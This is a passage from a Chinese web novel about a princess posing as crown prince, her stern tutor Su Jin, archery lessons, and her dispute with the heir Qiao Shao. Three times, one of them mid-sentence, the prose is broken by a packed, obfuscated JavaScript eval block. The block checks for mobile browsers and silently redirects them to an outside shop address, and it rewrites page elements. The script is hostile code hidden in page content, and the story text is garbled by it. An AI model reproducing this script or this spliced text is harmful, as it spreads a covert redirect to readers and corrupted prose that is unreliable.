乔绍如今已经被玉颜迷得神魂颠倒，保不齐要跟巴雅尔勾结在一起，搞出什么惊天动地的名堂，到时候会把世子妃连累得更惨。 乔鹤练叹了口气：“孟姐姐和他成婚也有七年了，他为何会为了一个来路不明的舞姬，如此翻脸无情呢？” 只见阮蝉以手掩口，压低嗓音在她耳边道：“玉颜怀孕了。” “天！真的假的？”乔鹤练尚未来得及反应，行简已嚼着果仁凑上前，一脸的难以置信。 “是世子的吗？什么时候的事情？秦王他们知道吗？”他一股脑地问。 “你看他！”阮蝉无可奈何地指着这内臣，“刚刚还垮着个脸要哭呢，这会全忘后脑勺去了。” 乔鹤练也催促她快说，她便不卖关子了：“是乔绍的，得有一个月了。乔绍是知道，至于他家里知不知道，那我就不知道了。” 想来秦王和孟姐姐他们应该是不知道这件事，如今孟姐姐的身子需要调养，这种消息还是瞒住她为妙。 最后阮蝉说了调查喀兀细作底细的进展。 因为取得了巴雅尔足够的信任，她如今已经成功整理出部分北直隶喀兀细作的关系网。剩下的因相对机密，还得再多花一些功夫套取。 此外，巴雅尔所率喀兀细作的首要任务尚不确定，他们渗入京师按兵不动已久，不知到底在背后策划什么。 但可以肯定的是，乔绍将是他们非常重要的一步棋。 乔鹤练想起另一件事，叮嘱阮蝉：“上次谷娘拿走了岑典的扇坠，作为大理寺弹劾岑典狎伎的物证。岑典此人也擅长情报，报复心极重，一定要提醒谷娘多加小心。” 谷娘是阮蝉故交，也为东宫效力，擅长弦歌，如今以歌女身份潜伏在一群富贾身边，调查光禄寺贪污赃款的藏匿地点。 岑典绝对不可能平白无故找上谷娘，一定是因为秦王那边也在查这笔银子的去向。 “岑典如今应该还在家养伤吧。”阮蝉道，“很多天没在乐馆歌楼里看到他了。” 她突然想起一件好笑的事情：“殿下知道把岑典从诏狱里赎出来的那笔钱是谁出的吗？” “秦王呗，还能是谁。”乔鹤练道。 岑典堂堂状元出身，做了多年京官，居然穷得连套像样的宅子都没有，加上他前段时间追在谷娘身后颠颠儿地花了不少银子，他自己肯定拿不出这笔钱。 但是岑典为何最后还是受刑回家了，就很奇怪，这实在不像秦王保人的风格。 “那笔钱是你那位苏姓兄长出的。”阮蝉忍笑，“以秦王名义出的，最后秦王没有把钱给他。” 真有意思，秦王那么有钱，为什么要赖自己宝贝世侄的账不还。怪不得钱没交够，想不到苏觐还挺抠门。 乔鹤练听得一头雾水，阮蝉反而笑得更耐人寻味。 “陈留殿下，蝉娘劝你一句话，你若真的想要亲政，想要大位，最好的办法，就是把你那位兄长从秦王那边拉拢过来。” 道理都懂，可这根本是不可能的事情。 他是酷吏，她想做仁君，二人从理念根源上就截然相反。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530982|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏觐对北伐的狂热和偏执，甚至超过了穷兵黩武的秦王，更何况他们情同父子。 她于他而言，什么也不算。不过是她在强行攀亲戚的时候，借着秦王妃的名头，厚着脸皮喊他一句兄长罢了。 秦王能给他权力，给他君王的眷爱，她只是个被架空的假太子，能许诺他什么呢。 最重要的一点是，她之所以想亲政，就是为了完成今上没有做到的事情，叫停北伐，休养民生。 这种水火不容的矛盾，注定了他和她只能为敌。 甚至是你死我活的地步。因为家国的车轮，永远只能往一个方向驶去。 * 阮蝉是次日凌晨混在采买内臣的队伍里出宫的。 临走前，她半开玩笑地问乔鹤练：“这次喀兀细作若是一网打尽了，殿下该怎么犒劳我呢？” “娘子想要什么赏赐？”乔鹤练明知故问。 “把妹妹还给我吧。”阮蝉笑着，眸中分明有泪花，“我真的很后悔，也真的很想她。” 当初是她亲手抛下妹妹，独自一人去了漠北，才害得年幼的妹妹沦落到那种地步。 若不是十五岁的少年“太子”救下妹妹，如今在这世上，她就真的没有任何亲人了。 若没有女君，妹妹根本不可能活到今天。也不可能到海边登州的水师军中效力，遇到那么好的师傅，学会那么多的本领。 她岂会不知，并不是女君不肯把妹妹还给她，而是妹妹至今还没有原谅她。 原谅她的不辞而别，原谅她的远走高飞。 “会回来的。”乔鹤练允诺道，“相信我，令望，她会回来的。” * 晚睡早起的乔鹤练根本打不起精神，她拖着昏昏沉沉的身子赶到文华殿的时候，以为自己还在做梦。 晴朗的晨光拂过朱梁，铺在一尘不染的砖地上，高敞大殿笼罩着僻静的空旷，竟是一个人都没有。 不对，准确来说，有一个人坐于宝座侧方，周身镀着方格彩绘下的淡淡金辉，衣冠雅正，清绝曜目。 但她只觉得活见鬼了。 一定是幻觉，没睡醒的幻觉。 “今天文华殿怎么没人上值呢？”乔鹤练装作没看见，自言自语道，“看来是都休沐了，那我也只好回去了。” 就在她转头离去之际，那人发出声音。 “过来。” 行吧，装得有一丝破绽。 “其他人呢？”乔鹤练震惊于又要和他独处一天的现实，“侍书官呢？讲读官呢？那些侍班的翰林官都去哪了？” “休沐了。”那人道。 “那你为什么没有休沐？”乔鹤练崩溃。 那人答：“因为臣要为殿下授课。” “那我为什么没有休沐？” 那人沉吟片刻：“因为殿下要听臣讲读。” “那其他人为什么都有休沐？” “因为他们都要回家休沐。” “……” 好、好、好。回答了就如同回答了一样。 “苏大人，你很闲吗？为何没日没夜地单独守着本宫！”乔鹤练噔噔噔跑上前，不可思议道，“你内阁和兵部的公务呢？神机营的军务呢？” “那些事没有殿下的课业重要。”苏觐不紧不慢，“请殿下过来坐好，臣要为殿下侍书了。” 17. 公主和妹夫 刚坐下来，一股冰片香夹杂着浅淡的零陵香扑面而来。 苏觐拧开药瓶，依旧是给她面上淤伤抹药。 “自己早上没用药？”他问。 “唔？忘了。”乔鹤练一愣。 一夜过去，伤势好了许多，碰着已经不疼，印子也浅了不少。 “看来昨晚的教训，是一点也没让殿下长记性。”苏觐奚落道。 这话令乔鹤练头皮和脚底都发麻不已，赶忙翻书提笔，强装镇定。 大清早的写大字是真晦气啊。 旁边的若是正儿八经的侍书官，乔鹤练早找机会闭眼打盹了，可偏偏研墨展纸的人是苏觐，光是余光扫见，都清醒了一半。 一边心中暗骂，一边在宣纸上潦草乱划起来，心想着早写完早完事，下笔不禁更敷衍了些。 还行，不难看，挺规整的。 速战速决，能写成这样已经可以了，楷体本来就费功夫，没必要苛求细节。 写完一页的乔鹤练拎起那张纸上下打量了一番，自我哄慰道。 可顷刻之间，那页纸已被身旁之人揭过去，哗啦一声，搓成了纸团。 在乔鹤练惊诧的目光里，苏觐不动声色地将一页新纸铺平在她面前的毛毡上。 “重写。” 乔鹤练忍气吞声，重新蘸墨落笔。谁料刚写了两个字，那纸又被人一把揪起揉皱，抛进纸篓中。 “笔。”苏觐向她摊手。 乔鹤练无语地把笔递过去。 但见苏觐又捻了一张宣纸，写下一列端正工整的颜体，而后把笔还给她。 “照这样写。”他道，“好好写，每个笔划必须和我一模一样。” 什么玩意？谁写字一笔一划和别人一模一样啊…… 腹诽到一半，乔鹤练反应过来：这人在报复她当初模仿他笔迹伪造书信，借他的名头忽悠那班锦衣卫之事！ 怎么会有这么无聊的人！ 乔鹤练也烦躁起来，把笔一扔，纸一掀，抱着衣袖道：“我不写了。” 凭什么公报私仇，打着侍书的幌子故意欺负她。 一把削薄的青竹书尺将对叠的宣纸挑开，复位，而后抚平。 书尺轻轻敲在桌边。“写不写？” “不写。”乔鹤练生气道。 “手，伸出来。”那人执起书尺，平静道。 看这架势，竟是真的要打她。 乔鹤练心中咯噔，下意识攥紧了手，恼怒地瞪向他：“你敢！你放肆……” 话刚出口便泄了气，她清楚地看见放御印的匣子还在他衣袖不远处搁着。 “手上不想挨尺子，就快点去拿笔写字。”苏觐看着她蜷拢的手，又瞟了一眼书案上的笔。 委委屈屈地抓起笔，乔鹤练往旁边挪了挪身子，刻意远离苏觐手里的书尺：“那你把它拿远点。” 苏觐便把那竹尺搁回案角。 “怕了？”望着小人排斥瑟缩的模样，他感到好笑。 本来也没想动手，不过是随便抓起个称手物件装装样子，吓唬一下小孩子。 这书尺是幼嫩青竹所制，质地轻飘飘的，多为夹书划线所用，落在手心几乎无感，就算是打断了也未必会疼。 “我不是怕，我是讨厌。”乔鹤练咽了口唾沫，申辩道，“我讨厌任何刑具。” “你管这叫刑具？”苏觐闻所未闻，此物轻巧文雅，不过是个书房摆件，叫玩具还差不多。 这小人儿是真没见过诏狱里长什么样。 “扑作教刑，怎么不是刑具。”太子气哼哼道，“再远点，别让我瞧见。” 苏觐站起身，拾起那把书尺，像投壶那样，稳稳掷进了屏风旁边的卷轴筒里。 “不要光看我，专心写你的。”见太子一脸的新奇与叹羡，他道，“再给你一刻钟，写不好，有你怕的时候。” 乔鹤练不情不愿地埋下头，边写边小声嘟囔：“凶，就知道凶，卢哥哥从来都不会这样对我。” 她此刻的确在想卢允恭。 自从中毒事发，他被调任礼部之后，他们几乎断了联系。 其实这个结果在和爹剖白的那天晚上她就想到了。对于满朝文武来说，卢允恭是无可辩驳的天子旧臣，而他的父亲越国公过去虽不曾站队，如今秦王摄政，形式明朗，也逐渐在向秦王投诚。 不仅仅秦王和苏觐不允许卢允恭和她接触，就连越国公也一定会强烈反对。 卢允恭如今还能在礼部挂个闲职，经常帮她去沙河探望她爹，已经算非常幸运。再多的，她也不会奢求了。 毕竟卢允恭留在东宫，对她和她爹不好，对他自己也不好。 苏觐听见了，心里很是膈应：“你和卢允恭到底是什么关系？” “什么关系？”乔鹤练胡扯道，“他是我表兄，之前是我妹夫，怎么了？” “令妹什么时候和他成婚过？” 乔鹤练正专心书写，没察出对方语气中的怨怼，只当是随口闲谈：“那就是未婚妹夫呗。” “荒谬。未曾成婚，岂能称夫？”却听苏觐驳斥道，“关乎逝者名节，殿下就这般信口开河，毫无礼敬吗？” 乔鹤练被骂得一头雾水。 本来昨天晚上就已经被他喊打喊杀的教谕方式吓得半死了。大清早的强行抓着人写仿书，这里正耐着性子写，那里又开始吹毛求疵地找茬，烦都要烦死了。 “我们是在聊天，又不是上朝，你跟我装腔作势地抠字眼，是有什么毛病吗？” 她手中的笔跌在毛毡上，飞溅的墨汁将那页即将完成的字帖染出一片脏污。 摔笔的那一刻，她有一点后悔。 她确实还没有适应和苏觐相处。 从前爹爹在宫里的时候，宠纵着她，养成她骨子里的这份骄矜来。 而原先生也好，卢允恭也好，都是儒雅温润的性子，对她永远客客气气、以礼相待。 昨晚的经历告诉她，苏觐除了杀伐狠厉之外，还很刻板，虽说年纪不大，规矩却比她所有长辈都多。 难以想象这种人童年都经历了什么。 她不敢抬头瞅他脸色，心虚地将笔安置回笔架上，自觉将那张废帖揉成一团，投进纸篓。 再想取一页新纸时，她才发觉一叠白宣纸都被苏觐用手腕死死压着，根本抽不出来。 哟，果然生气了。看来她还挺会气人，三天两头能将这个孤高淡漠的人惹恼。 “好好好，是我错了，我重写还不行么。”心里忐忑不安，也掺杂一点恶劣的得意，她主动道歉。 “嗯。”他冷淡道，“错哪了？” “不专心写字、左顾右盼、亲长申饬狡辩还口。”乔鹤练撇嘴。 “嗯。”他点头，“还有呢？” 还有？ “不该骂你？”她乱蒙了一个。 “……也算吧。还有呢？” 还有什么？给点提示呗？想不出来了。 眼看他神色愈发森严，眸光愈发冰寒，她绞尽脑汁，慌忙又猜了一句：“卢允恭不是我妹夫，我压根没有妹夫，以后不乱说了。” “……”漫长的沉默。 良久，他那指骨修长的手摊开于她面前，作索要状，一如那日在永定门外，他接住她的眼泪那般。 “要什么啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530983|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”她茫然不解。 “知道错了，还不伸手？”他淡淡的。 不是吧，真的要打啊？ 她愕然，万分抗拒地把手藏进衣袖里，背在身后。“不要，你罚个别的。” “那把吕氏春秋抄一百遍。” “……不行！”那都不是手疼了，是手断了。 “快点。”他催促，“自己把手伸过来，不要等我动手。” 纠结了一小会，她把微微颤抖的左手交了出去。 他接过她的手，托在掌中，仔细观察。 “……”好小。 苏觐端详着这只白皙的手。 虽然五指也是瘦而修长的，但整体而言骨感稍弱，有点小巧。 他悄悄和自己的手比较了一下，的确小了一圈。手腕也很细，怪不得他很轻松就能握住一双。 他想起拎起这小人时的分量，实在太轻。正是长身体的时候，还是得多吃点饭才行。 抬眼，只见太子紧闭双眼，身子绷如弓弦，耳朵也红了，一副紧张得要命的模样，不禁觉得更新鲜了。 “殿下，是从来没受过责备么？” “……很少。”乔鹤练坦言。 母亲去世得早，爹和先帝都对她宠爱有加。众长辈里，也只有姑母鲁国长公主舍得管她。 可姑母如今远在登州海边提领备倭水师，天高皇帝远，哪里管得了她。 “殿下是被当作公主一般，娇宠大的？”苏觐无声轻笑。 怪不得害怕成这样。如此就说得通了，看来的确是他太凶了。太子骄生惯养，得先当成公主来教才行。 不能一上来就把人吓坏了。 “大胆，你是在取笑本宫吗？” 手心迟迟没有痛感传来，乔鹤练觉得自己被耍了，听到公主二字又有点心虚，忿然喝问。 “臣不敢。”苏觐道。 可是明明就在笑啊，嘴角都快压不住了。“哼！” 守在大殿外扒拉着门缝的行简看到这一幕，只觉得脊背发凉，毛骨悚然。 好端端的讲读，怎么连手都拉上了？照这样发展下去，女君的身份迟早要暴露。 他就知道，让千岁和苏觐这种狼子野心之人独处，绝对没有好事发生。他早就隐约觉得苏觐看千岁的眼神不对劲。 金尊玉贵的大黎公主，绝不能就这样随随便便羊入虎口了！ 只听“吱嘎”的一响，殿门应声而开，内臣的身影出现在门外廊下。 吓得乔鹤练一把夺回了手，敛进衣袖里，忙不迭掩面，咳嗽了两声。 苏觐倒没什么反应，只平淡地把目光投向来人。 “奴婢请问千岁，苏大人中午是随文华殿用膳，还是自择方便？”行简垂首作揖，用衣袖挡住脸。 随文华殿用膳的意思，即是和文华殿讲读官一致，由东宫赐饭。 文华殿和内阁，原本都是光禄寺供应午馔。但光禄寺烹饪的餐食实在难以下咽，饱受所有人诟病。 故而如今文华殿官员由东宫赏赐午膳，内阁则是秦王设私灶。 不及乔鹤练开口询问，苏觐已回答了她：“臣中午回内阁。” “先生今日不是不当内阁的差么？”乔鹤练问。 其实行简都多余过来问，苏觐从没作为文华殿官员吃过东宫的饭，估计也是帮她作足虚礼。 “殿下很想宴请臣吗？”苏觐看她一眼。 乔鹤练假笑，用力点头。 客套一下，要不然显得她一个东宫之主，连顿饭都不给臣子赏赐似的。 “殿下自己多吃点吧。”苏觐道，“替臣把臣的那份也吃了。 18. 教射箭 陪着秦王和右都督魏融吃过饭，苏觐徒步来到里栏草场。 黄草遍地，廖阔苍凉。 一戎装少年正纵马骑射，挽弓娴熟，收放自如。恣意跨坐于马背，奔腾之间，连续开弦三次，三箭均命中箭靶。 呀呵，这身手，确实不赖。 走近之后才发现，小人穿的衣服还挺眼熟，柿蒂纹的织金窄袖袍，秦王也有件差不多的。 看清来人，乔鹤练不免讶异。她横弓扯缰，勒住马道：“先生怎么到草场来了？” “来欣赏殿下射艺。”苏觐仰头望她。 第一次这般居高临下地俯瞰此人，乔鹤练竟有点不习惯。她背着弓翻身下马，让侍卫将马牵走了。 “怎么样，厉害吧？”她拍了拍掌上的尘土。 倒也没期待他夸她，毕竟他是战功赫赫的军师，遍历行伍之间，什么样的精锐弓箭手没见过。 “百步穿杨，一马当先。”苏觐道。 话是好话，可从这个人嘴里说出来，总让人将信将疑，担心是在说反话。 她索性照单收了，清了清嗓子：“你，是自己不会射箭么？” “不怎么会。”苏觐答。 “那我教你啊。”听闻此话，乔鹤练不禁欣然，跃跃欲试。 苏觐颔首上前。 乔鹤练拿起弓，从箭袋里抽了支羽箭。 “过来啊。”见苏觐干站着不动，她单手抓着弓身，无奈催促道，“像我这样握住它，你握中间。” 她特意往下握了几寸，将弓柄正中间的位置空了出来。 苏觐立在她身后，靠近了些，依言抓住了弓把。 果然天生力大之人，持弓就是轻松。她暗暗感慨，另一手将箭搭在弦上，紧贴弓身。“你看，拉弦也不难，你试试。” 见苏觐伸手，她不忘提醒：“先别用力，我怕弓被你扯断了。” “是。”他答应，接过她手中的箭羽。 接弦的一刹那，她整个人被宽大的衣袖拢住，竟宛如被他从身后拥抱着一般。 淡雅馥郁的零陵香草气将她笼罩，而覆在后脊的踏实温度，和他平日的凛冽气质判若两人。 他指尖搭上来的一瞬，她慌忙将扣弦的手躲开，闭上了眼。可眼前，仍能清晰浮现那惊艳拔俗的容颜。 香草美人，象征清白与忠贞，对于风华正茂的少年女君而言，是何其震撼且致命的蛊惑。 乔鹤练不愿面对这种方寸大乱，她睁开眼，强行镇定地抬手，去够他的手，缓缓拉动弓弦。 她手到底小了些，根本抓不稳他手。一矢飞出，方向欹斜，勉强扎进草靶的边缘。 尴尬地挣脱出怀抱，她背对着他，把目光投向初冬内廷草场的壮丽景色。 苍空白日下，北风吹拂大片衰草，皇城远方是二十四衙门层叠的绿瓦灰墙，凄美而浩荡。 “失手了，抱歉。”她脸有些烧，“我没教好。” “殿下教得很好。”苏觐淡淡道，“臣已经学会了。” 不可能，哪有人学弓这么快。她满腹狐疑地回头：“真的假的？你试一次，让我看看。” 说着便从箭袋里抽出一支羽箭递给他。 只见苏觐立在原处，搭上箭，手势分毫未变，比照她方才拉弦的力度，稍加瞄准，一箭射透靶心。 她目瞪口呆：“怎么可能？” 再聪明的人，这么一下能学会用弓，还射得这么准，莫不是武曲星下凡了？那他还考什么科举，直接跟着秦王冲锋陷阵多好。 “骗子！”她顿时反应过来，气不打一处来，“佞臣，竟敢戏弄本宫！你明明就会射箭！” “就是刚才学会的。”他道，“殿下循循善诱，令臣醍醐灌顶。” “哼！”大骗子的话，鬼才信。“巧言令色，谄媚欺君！” 乔鹤练正要扭头生气，忽觉腰上一松，却是悬挂的箭袋被卸下了。 “啊？”她愣住。 “时辰到了。”苏觐道，“殿下该随臣回文华殿读书了。” “……”她就知道，什么欣赏射艺，全是诓人的胡话，他来草场就是为了抓她回文华殿写功课的。 “不回。”乔鹤练顿时无精打采，“我不要写字，我要骑马。” “殿下已经骑了半个时辰了，”苏觐看了看日头，“那十遍功课，再不回去，殿下今天必定写不完了。” 还真写十遍啊？唉，早知道那一遍好好写完该多好。 既懊悔不迭，又万般抗拒，她赖在原地不肯挪步。 “听话。”苏觐道，“不要让臣动手，辱没殿下的斯文。” 哼，有本事动手呗，草场外那么多内臣侍卫，看看谁丢人。 乔鹤练抱着衣袖，抿唇不语，自顾自闷头赌气。 随之便是一阵天旋地转，她双脚赫然离地，头朝下，竟是被他强行掳起扛在了肩上。 她又羞又恼，支楞起上身，又不敢动手捶打，只得奋力挣扎：“逆臣，大胆！放肆！让本宫自己走！” 那人充耳不闻，健步平稳，紧箍着她直出草场，往东华门方向而去。 * 途径寝宫换了常服，还是回到文华殿上。 发觉苏觐时不时盯着自己衣服看，乔鹤练奇怪道：“我的着装有哪里不妥吗？” “没有。”苏觐道，“花纹眼熟。” 那可能是又和秦王用了一样的衣料吧。 心不甘情不愿地展开书压好纸，乔鹤练刚一动笔，便听见苏觐在旁道：“这十遍若再乱写，明日就该一百遍了，殿下慎重。” “十遍必须今日写完吗？”她问。 “是。”苏觐点头。 “写不完怎么办？” “写到写完为止。” “不睡觉了吗？”乔鹤练无语。 “写到亥时。” “亥时没写完怎么办？”她追问。 “笞挞自然少不了。”苏觐拎起笔杆，做了个打人的动作，“明日还要补齐，再重写一百遍。” “……”好狠的酷吏。 太阳穴突突直跳，乔鹤练汗流浃背，感觉手上已经提前开始酸痛了，不得不打起全部精神认真对待。 这些功课其实都很浅显，对她最大的困难是太无聊了，脑子又闲不下来，必须干点别的。 “你怎么跟姑母那么像啊？”她边写边道，“她以前也和你一样，恐吓我做这做那的。” “哪位姑母？”苏觐问。 “你认识啊。”乔鹤练一本正经，“不也是你的姑母吗？” “你说鲁国长公主殿下么？”苏觐便知道了。“长公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530984|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不仅治军有方，教子也颇具风骨。” 聊到这个，乔鹤练越说越来劲：“对，我母后去世得早，小时候她就像我娘一样管我。你们俩真的很像，都喜欢凶我，又很会打仗，你和她谁更厉害？” “长公主殿下统率登州水师，镇守备倭都司，精通海战，抗倭之功名垂青史，是柱国英豪。”苏觐道， “苏某调度神机营，忝居京师，聊知火炮，北伐十年至今王业偏安，岂能和长公主相提并论。” 可倭寇尽是些东瀛浪人，一战顶多上千人，充其量是海上盗匪而已。 而喀兀曾经称霸中原，扫荡远西之国，如今部落分散退居漠北，仍有数十万铁骑雄踞草原。 北伐和抗倭的难度，完全是天壤之别啊。 为什么非要执着于霸业呢？霸业不成，北伐的将士们就没有功绩了吗？十年间无数次大捷，哪一次没有震慑喀兀，没有维护边境安宁呢？ 从先帝到秦王，百姓累了整整几十年，就不能放过所有人，让天下好好休息十年吗。 “绕来绕去的，听不懂，你是在装模作样，说反话吗？”乔鹤练故意呛他。 “臣诚心钦佩长公主殿下。听不懂就算了，先写功课。”苏觐却不在意，“殿下写字的时候，为什么这么多闲话？” “有人在旁边，谁能忍住不聊天？”乔鹤练不服，“你不想聊，那你让行简进来陪我聊。” 见苏觐冷了脸不再搭理她，她没法干别的，只好说：“我渴了，你让行简进来。” 苏觐起身给她倒茶。 乔鹤练道：“我不想喝茶。” “殿下想喝什么？” “不知道，不要茶，最好是酸的。”她随口胡诌，编了个宫里最不好找的。 “殿下稍候。”苏觐说完便出去了。 半晌后，苏觐端着一个玉壶春青瓷瓶回来了，他往暖阁走去，道：“请殿下随臣移步。” “那么麻烦干嘛呀，你直接拿过来给我不就行了吗？” “臣怕殿下又漏了撒了，把刚做好的功课打湿。” 行吧，说的有道理，还挺周到。 乔鹤练起身进入暖阁，发现方桌上不仅摆了青瓶，还有一碟茯苓糕。 “这是什么？” 苏觐已经帮她倒出一杯山楂饮，澄澈的茜色汤汁淌入白瓷高足杯，显得格外漂亮。 “从甜食房拿的山楂汤。”他答，“茶点仿照坊间字号岁香局口味。” 他竟然也记得她喜欢岁香局，大约是秦王妃告诉他的。还真给他找着酸的了，挺无微不至。 “谢谢你，只是这些事平时都是行简做的。你把行简的差都当了，他怎么办？” 乔鹤练接过杯子，尝了一口，果香浓郁，酸甜适中，味道极好。 “休沐吧。”苏觐道，“难得休息两天，就都休沐吧。” 他看见太子唇角淌下一滴饮汁，下意识伸手，用指腹替人揩去。 少年本就唇红齿白，染上茜色的饮汁，显得唇色愈发娇艳欲滴。 他此刻竟有些好奇指尖汤汁的味道。 苏觐突然意识到，每天面对着这个小人，这张脸，他迟早有一天会疯掉。 偏是此刻，廊下传来行简禀告的声音： “千岁，苏大人，秦王世子求见。” 19. 追妻火葬场 东宫正殿。 “要我说，都多余理会他，直接轰走得了。”乔鹤练哼道，漫不经心地往主位上一靠。 抬头瞧见苏觐的黑眸似含霜雪，正森沉地盯着她，不由打了个寒颤，规规矩矩地坐正。 “你也坐啊。”她心虚招呼道。 苏觐只是面朝她，淡然立在她身侧，低眸：“不了，殿下坐好吧。” 话音刚落，只见乔绍步入殿内，行动姿态有些迟缓，估计是挨了一顿好打。 苏觐从她座旁后退几步，目光仍飘在她身上。 乔绍面无表情地站定于殿中，停顿了片刻，拱手拜揖，随后俯伏跪地，勉强地磕下头去，再起身立正。 如此重复了四次。 最后跪在地上，麻木念道：“臣悖逆不轨，冒犯储躬，特来东宫阶前请罪，伏请殿下宽宥。” 这人拜得实在太慢，乔鹤练早就懒得看了，啊了一声，回过神来：“你说什么？我没听清。” 乔绍攥了攥拳，咬牙道：“臣误伤储躬尊容，罪该万死，前来叩求殿下恕罪。” “哦，你说这个事啊。”乔鹤练佯作恍然，“行，本宫宽宏大量，饶你不死，退下吧。” 见乔绍一动不动，她道：“世子大哥还有什么事情吗？” 乔绍顿了顿：“臣乞求殿下，恩准臣接世子妃回府。” “不行。”乔鹤练一口回绝，“孟姐姐身体需要调养，在宫中有薛司药照顾，跟你回去做什么？” 为避非议，她昨日待孟蕊初身体稍有好转后，安排人收拾了后宫中闲置的嫔妃寝殿供她暂居，与东宫保持距离。 “臣家中有太医，无需劳烦司药。”乔绍憋着火，一字一顿，“世子妃是臣发妻，理应回王府调养，留宿宫中于礼不合。” 昨日他受了秦王一顿暴揍，又被押到庙右门外跪了一宿，今天早上才知道世子妃竟然跟着太子跑到宫里来了。 简直伤风败俗！自古以来，哪家贤妇和丈夫发生口角，会住到叔叔家里？亏她还是世子妃！回去以后一定要好好收拾她，看她还敢不敢乱跑出去丢人现眼。 若不是秦王不分青红皂白，严令他必须向太子赔礼请罪，和平接回世子妃，他何至于拖着一身的痛在这里四拜四叩，看一个小匹夫的脸色！ 想也不用想，必定是姓苏的孬种在背后捣鬼，不知道跟秦王说了什么。可恶！ 只听太子冷笑：“那世子大哥豢养外室，殴打发妻就于礼有合了？” “关你屁事！”乔绍火起，噌地一下从地上蹿了起来，“我又没养你家外室，没打你的老婆！” “放肆！”太子砰地拍响桌案，气势比他更足，“乔绍，注意你的言行！这是你身为罪臣，向储君请罪应有的态度吗？” 乔绍强压怒意，后退了一步。 “本宫准许你起身了吗？”乔鹤练端起架子，语气略有浮夸，“给本宫跪着说话！” 话音刚落，她余光瞟见苏觐无声地背过身去，片刻后又平静转回。 哼，这人肯定是又没绷住，躲起来偷偷笑她，还以为她发现不了。这都第几次了，头一回就被她抓住了，当时还以为看错了。 乔绍饮恨吞声地跪回原地。 “既然你不服气，那本宫现在便告诉你，孟氏很快就不是你的妻子，她的事情你管不着，也休想把她带走！”乔鹤练道。 “什么意思？”乔绍不可置信。 “她要跟你和离，她要休了你。” “荒谬绝伦！”乔绍气极反笑，“我是亲王世子，她是世子正妃，废妃之事连我说了都不算，她想和离就和离？” “何况这只是你在此胡说八道，孟氏跟了我八年，对我死心塌地，你一个未成过婚的小孩子懂个屁！” 他忽然想到些什么，立时暴怒，对着苏觐骂道：“肯定是你这个庶户里爬出来的丧家犬，教太子说的浑话！村夫驽才，你少在背后煽风点火，挑拨乔氏宗室的关系！” 乔鹤练无语偏头，想看苏觐作何反应，只见他漠然抬袖，不紧不慢道：“世子殿下误会了，臣身为外臣，对宗室家事从不置喙。” ……即便有秦王撑腰，也很难想象这个人在王府过的是什么日子。 眼瞅乔绍又要开骂，乔鹤练拍案起身，厉声喝止：“住口！东宫殿内，容不得你的污言秽语！再敢在本宫面前造次，恶语中伤朝廷命官，本宫即刻令人将你乱棒打出！” 不知是不是这次带了三分实怒，她势如峻岭巍峨，将乔绍震得一愣，噎没了声息。 “既然你如此执迷不悟，本宫也没有时间同你废话。” 想到还有那么多遍功课没写完，乔鹤练就脑袋疼，再无闲情逸致继续和乔绍扯皮。 若是能一边写字一边和这家伙对骂，那就有意思了，既解了无聊，又不浪费时间。 可那样的话，所有人都知道她功课写不完了，储君的威仪还往哪搁。 还是赶紧回文华殿写吧，免得到时候某些人又要生闷气，不陪她聊天了。 乔鹤练抬头道：“来人呐。” 话音刚落，但见行简飞快上殿，问她吩咐。 不是，你一个文宦出什么头呀！你打得过乔绍吗你！ 乔鹤练忍下尴尬，佯作从容：“没叫你，退下！” “苏少保叫来的锦衣卫呢？耳朵聋了吗！没听见本宫喊人？”她皱眉扬声，“一个个的，都白吃皇粮不当差吗！” 两个离门最近的校尉这才反应过来，从殿外匆忙入内，连声告罪。 “秦世子咆哮东宫，狂悖嚣张，本宫不同他计较。你们把他请走，送回王府，交给伯父严加管教。” 那两个校尉抬头，见苏觐伫立在旁，并无阻拦之意，便遵命上前，将乔绍左右架了出去。 一想到就这么回去，赔了夫人不说，又要遭一顿痛斥，乔绍咬紧牙关，扒着殿门喊道：“等等！” “殿下开恩！臣只有一个请求，让臣见世子妃一面，臣自己同她说！” “别理他，送客！”乔鹤练不耐烦道。 殿外忽传来一道弱而平和的声音：“世子还有什么想要同妾说的吗？” 乔鹤练闻声步出殿外。苏觐跟随其后。 孟蕊初站在殿外，头戴幂篱，白纱及足，覆罩着清瘦的身影。 两个宫人跟在她身后，担忧地唤：“娘娘……” “蕊初！”乔绍见她，急切地喊，“你闹够了没有？赶紧跟我回去！”他试图挣扎，但没能摆脱。 “如果世子专程入宫，只是要同妾说这些的话，妾也无瑕奉陪。”孟蕊初道。 